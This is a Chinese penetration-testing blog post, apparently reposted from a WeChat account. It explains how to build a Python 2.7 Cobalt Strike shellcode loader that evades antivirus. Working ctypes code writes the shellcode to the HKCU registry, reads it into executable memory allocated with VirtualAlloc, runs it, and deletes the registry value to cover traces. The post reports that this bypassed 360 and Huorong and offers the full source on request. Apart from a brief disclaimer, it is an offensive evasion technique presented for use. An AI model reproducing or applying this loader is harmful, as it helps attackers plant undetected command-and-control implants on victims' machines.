【干货 | 附下载】CS免杀-RegQueryValueExA加载器

  • A+
所属分类:安全工具
【干货 | 附下载】CS免杀-RegQueryValueExA加载器
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

最近毕业了,开始了新的打工生活,知识也被榨干了,更新比较慢

前言


前几天不是发了几个《UUID、MAC、ipv4》等加载器吗,这几个原理都一个样,就是转换内容然后写到内存中去,说白了只要能往内存写东西的函数都能写成加载器

这几天研究api操作注册表想绕过360等,突然想起注册表是可以存储二进制内容的,然后就发现了RegQueryValueExA函数是可以读取 注册表中内容的,所以我们只要将读取的内容存到申请的内存中去执行即可。

本文环境使用py2.7,通过ctypes库调用RegQueryValueExA函数实现上线cs

注册表

注册表就不多介绍了,乱七八糟的我也讲不懂,自己百度
【干货 | 附下载】CS免杀-RegQueryValueExA加载器
但主要一点,我们操作注册表是需要权限的,但HKLM_CURRWNT_USER表是不需要权限的,所以我们主要操作这个表

函数介绍

在读取注册表内容之前,注册表得有我们的shellcode内容啊,命令行操作reg又不行,拦的死死地,所以只能用api进行写入我们的shellcode

RegSetValueExA
该函数在Advapi32.dll库中,可以设置注册表项下指定值的数据和类型。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
LSTATUS RegSetValueExA( HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData);
hKey为上面五个表其中一种,这里操作HKLM_CURRWNT_USER,在py里对应值是-2147483647
lpValueName是在表里新建一个值
dwType是值的类型,在注册表里不同的值类型储存不同格式的数据,我们需要储存二进制数据,所以值类型为REG_BINARY,py里对应数值为3
lpData这是我们需要写入的数据,这里写入shellcode
cbData是数据的大小,必须将shellcode全部写入
buf = b"xfcx00..."ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf,len(buf))
此时看看注册表里的内容是不是shellcode
【干货 | 附下载】CS免杀-RegQueryValueExA加载器

RegQueryValueExA
该函数在Advapi32.dll库中,检索与打开的注册表项关联的指定值名称的类型和数据。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexa
LSTATUS RegQueryValueExA( HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);
hKey对应上面注册表的组
lpValueName对应上面值的名称
lpType接收查到的值的类型,可以为0表示不需要此内容
lpData则接收我们查到的值的数据,也就是我们的shellcode,这里需要VirtualAlloc申请一块内存来接收此数据,这里根据需要的指针类型将内存改为LPBYTE的指针
LPBYTE = POINTER(c_byte)ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTEptr = ctypes.windll.kernel32.VirtualAlloc(0,800,0x3000,0x40)
lpcbData则是shellcode的长度,这里长度我们需要先执行一下RegQueryValueExA来获取一下shellcode长度,然后继续直接RegQueryValueExA来去读内容到申请的内存
data_len = DWORD()ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))ctypes.windll.Advapi32.RegQueryValueExA(-2147483647,"test",0,None,ptr,byref(data_len))
这时shellcode已经写入到内存中去了,继续老一套创建线程运行即可

当写完内存,以防万一将写入的注册表进行删除
ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")

测试
环境py2.7 ,使用cs生成64位shellcode
【干货 | 附下载】CS免杀-RegQueryValueExA加载器
这里测试了火绒,360,成功上线
源码公众号回复:注册表加载器  获取

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗【干货 | 附下载】CS免杀-RegQueryValueExA加载器

往期文章有彩蛋哦【干货 | 附下载】CS免杀-RegQueryValueExA加载器

【干货 | 附下载】CS免杀-RegQueryValueExA加载器

一如既往的学习,一如既往的整理,一如即往的分享。【干货 | 附下载】CS免杀-RegQueryValueExA加载器

如侵权请私聊公众号删文


本文始发于微信公众号(渗透Xiao白帽):【干货 | 附下载】CS免杀-RegQueryValueExA加载器

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: